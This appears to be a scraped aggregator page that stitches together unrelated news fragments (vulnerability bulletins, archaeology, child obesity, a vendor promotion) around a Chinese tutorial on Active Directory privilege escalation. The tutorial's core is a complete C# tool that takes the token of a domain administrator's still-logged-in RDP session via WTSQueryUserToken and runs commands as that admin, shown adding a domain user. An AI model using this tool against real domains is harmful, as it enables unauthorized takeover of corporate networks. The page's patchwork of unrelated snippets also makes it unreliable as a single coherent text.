Aggregator

2024年12月11日，深瞳漏洞实验室监测到一则Ivanti Cloud Services Application (CSA)组件存在身份验证漏洞漏洞的信息，漏洞编号：CVE-2024-11639，漏洞威胁等级：严重。

2024年12月11日（北京时间），微软发布了2024 年 12月安全更新，共发布了72个CVE的补丁程序，同比上月减少了20个。

该中断导致用户无法访问 Microsoft 365 的Web 应用程序和 Microsoft 365 管理中心。

根据发表在 PNAS 期刊上的一项研究，中科院、浙江文物考古研究所和斯坦福大学的研究人员在浙江上山遗址发现距今一万年的稻米酒，是东亚最早的酒类酿造新证据。酒在文化中扮演着重要角色。而酿酒技术何时起源、如何产生发展，仍是未解之谜。这是由于酒属于易挥发液体，难以保存、发现、研究。研究团队在浙江省浦江县上山遗址采集了 12 件陶器残片。这些陶器代表发酵、盛装和烹饪等用途。样本采集后，团队对每个陶器的内表面残留物以及陶胎、文化层沉积物等标本进行微体化石提取与分析，包括植硅体、淀粉粒和真菌，以确定陶器的使用功能和食物加工方式。

Новое изобретение Google прокладывает дорогу к квантовому превосходству.

数字化转型速度越高，面临的安全挑战也越高，这是整个行业面临的安全共识。

直击黄牛抢票、滥用SEO乱象，DataCon竞赛探索网络黑产治理新思路

A zero-day vulnerability in Cleo file transfer software is being exploited in data theft attacks

上周末，俄罗斯多个地区的居民经历了互联网中断。当地政府试图将这些地区从全球网络中断开，以测试该国的“主权互联网”基础设施。

速修复

漏洞已修复

速修复

根据联合国儿童基金会和北京大学的数据，中国超重与肥胖儿童的比例自 2000 年以来增加了三倍。如果目前的趋势继续下去，预计到 2030 年时这个比例将超过 60%。超重儿童长大后更可能变成超重或肥胖的成年人，使他们患上心血管疾病、糖尿病和某些癌症的风险更高。官媒称，超过一半的中国成年人已经超重。“美国人口中近 70% 的人超重。但很快中国可能就会赶上来，”美国外交关系委员会全球卫生高级研究园黄严忠教授说。他表示，“快速的城市化进程提供了更多久坐不动的生活方式。”有理论认为，中国从前出现饥荒的遭遇可能产生了持久的影响。“一项研究表明，中国过去的食物短缺实际上导致了代谢和表观遗传的变化，这些变化对后代的肥胖风险产生影响，并使他们更多的接触到高热量饮食，”他强调这个假设“很难最终证明”，需要更多的研究。

微软12月补丁日多个产品安全漏洞风险通告：1个在野利用、17个紧急漏洞

前言

当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后，退出3389时没有退出账号而是直接关掉了远程桌面，那么会产生哪些风险呢？有些读者第一个想到的肯定就是抓密码，但是如果抓不到明文密码又或者无法pth呢？

通过计划任务完成域内提权

首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面：

然后攻击者可以通过如下方式进行域内提权，已添加域内用户为例，流程为新建计划任务-选择域管用户-执行命令：

选择搜索用户位置为域内：

选择登录进来的域管用户：

设置启动的命令：

然后运行计划任务，可以看到成功添加了域内用户：

有些读者可能会问了，那是不是选择任意域内用户都行，实际上是不行的，会提示用户未登录：

原理分析

原理实际上也很简单，就是获取进程的token，然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token，然后使用CreateProcessAsUser完成进程的创建：

using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;

class Program
{
   [DllImport("wtsapi32.dll", SetLastError = true)]
   static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);

   [DllImport("kernel32.dll", SetLastError = true)]
   static extern bool CloseHandle(IntPtr hObject);

   [DllImport("userenv.dll", SetLastError = true)]
   static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);

   [DllImport("userenv.dll", SetLastError = true)]
   static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);

   [DllImport("advapi32.dll", SetLastError = true)]
   static extern bool CreateProcessAsUser(
       IntPtr hToken,
       string lpApplicationName,
       string lpCommandLine,
       IntPtr lpProcessAttributes,
       IntPtr lpThreadAttributes,
       bool bInheritHandles,
       uint dwCreationFlags,
       IntPtr lpEnvironment,
       string lpCurrentDirectory,
       ref STARTUPINFO lpStartupInfo,
       out PROCESS_INFORMATION lpProcessInformation);

   [StructLayout(LayoutKind.Sequential)]
   struct STARTUPINFO
   {
       public int cb;
       public string lpReserved;
       public string lpDesktop;
       public string lpTitle;
       public uint dwX;
       public uint dwY;
       public uint dwXSize;
       public uint dwYSize;
       public uint dwXCountChars;
       public uint dwYCountChars;
       public uint dwFillAttribute;
       public uint dwFlags;
       public short wShowWindow;
       public short cbReserved2;
       public IntPtr lpReserved2;
       public IntPtr hStdInput;
       public IntPtr hStdOutput;
       public IntPtr hStdError;
   }

   [StructLayout(LayoutKind.Sequential)]
   struct PROCESS_INFORMATION
   {
       public IntPtr hProcess;
       public IntPtr hThread;
       public uint dwProcessId;
       public uint dwThreadId;
   }

   static void Main(string[] args)
   {
       if (args.Length < 2)
       {
           Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
           return;
       }

       int sessionId;
       if (!int.TryParse(args[0], out sessionId))
       {
           Console.WriteLine("Invalid session ID");
           return;
       }

       string command = args[1];
       IntPtr userToken = IntPtr.Zero;
       IntPtr envBlock = IntPtr.Zero;

       try
       {
           // Get user token for the specified session
           bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
           if (!tokenResult)
           {
               int error = Marshal.GetLastWin32Error();
               throw new Win32Exception(error);
           }

           // Create environment block
           bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
           if (!envResult)
           {
               int error = Marshal.GetLastWin32Error();
               throw new Win32Exception(error);
           }

           // Prepare startup info
           STARTUPINFO startupInfo = new STARTUPINFO();
           startupInfo.cb = Marshal.SizeOf(startupInfo);
           startupInfo.lpDesktop = "winsta0\\default";

           PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();

           // Create process as user
           bool processResult = CreateProcessAsUser(
               userToken,
               null,
               command,
               IntPtr.Zero,
               IntPtr.Zero,
               false,
               0x00000400, // CREATE_UNICODE_ENVIRONMENT
               envBlock,
               null,
               ref startupInfo,
               out processInfo);

           if (!processResult)
           {
               int error = Marshal.GetLastWin32Error();
               throw new Win32Exception(error);
           }

           Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);

           // Clean up process handles
           CloseHandle(processInfo.hProcess);
           CloseHandle(processInfo.hThread);
       }
       catch (Exception ex)
       {
           Console.WriteLine("Error: {0}", ex.Message);
       }
       finally
       {
           // Clean up resources
           if (envBlock != IntPtr.Zero)
           {
               DestroyEnvironmentBlock(envBlock);
           }
           if (userToken != IntPtr.Zero)
           {
               CloseHandle(userToken);
           }
       }
   }
}

编译后进行尝试：

成功完成了token窃取并添加了域内用户。

总结

本文通过演示窃取RDP Session Token完成域内提权的目的。

  

Кибершпионы всё глубже внедряются в ключевые звенья глобальной инфраструктуры.

Picus Security announced new innovations to its Attack Path Validation (APV) product. The new Picus APV now offers security teams accurate, risk-free, and continuous automated penetration testing to uncover critical risks, while significantly reducing business disruptions and time spent on threat research. Combined with its Breach and Attack Simulation technology, Picus provides a comprehensive approach to Adversarial Exposure Validation for enterprise organizations. By pairing evasive automated penetration testing alongside attack path-mapping capabilities, Picus allows users … More →

The post Picus provides automated pentesting testing to help uncover critical risks appeared first on Help Net Security.

优质内容稿费2000元起。

Patch Tuesday Update – December 2024

Learn A New Language With Advanced AI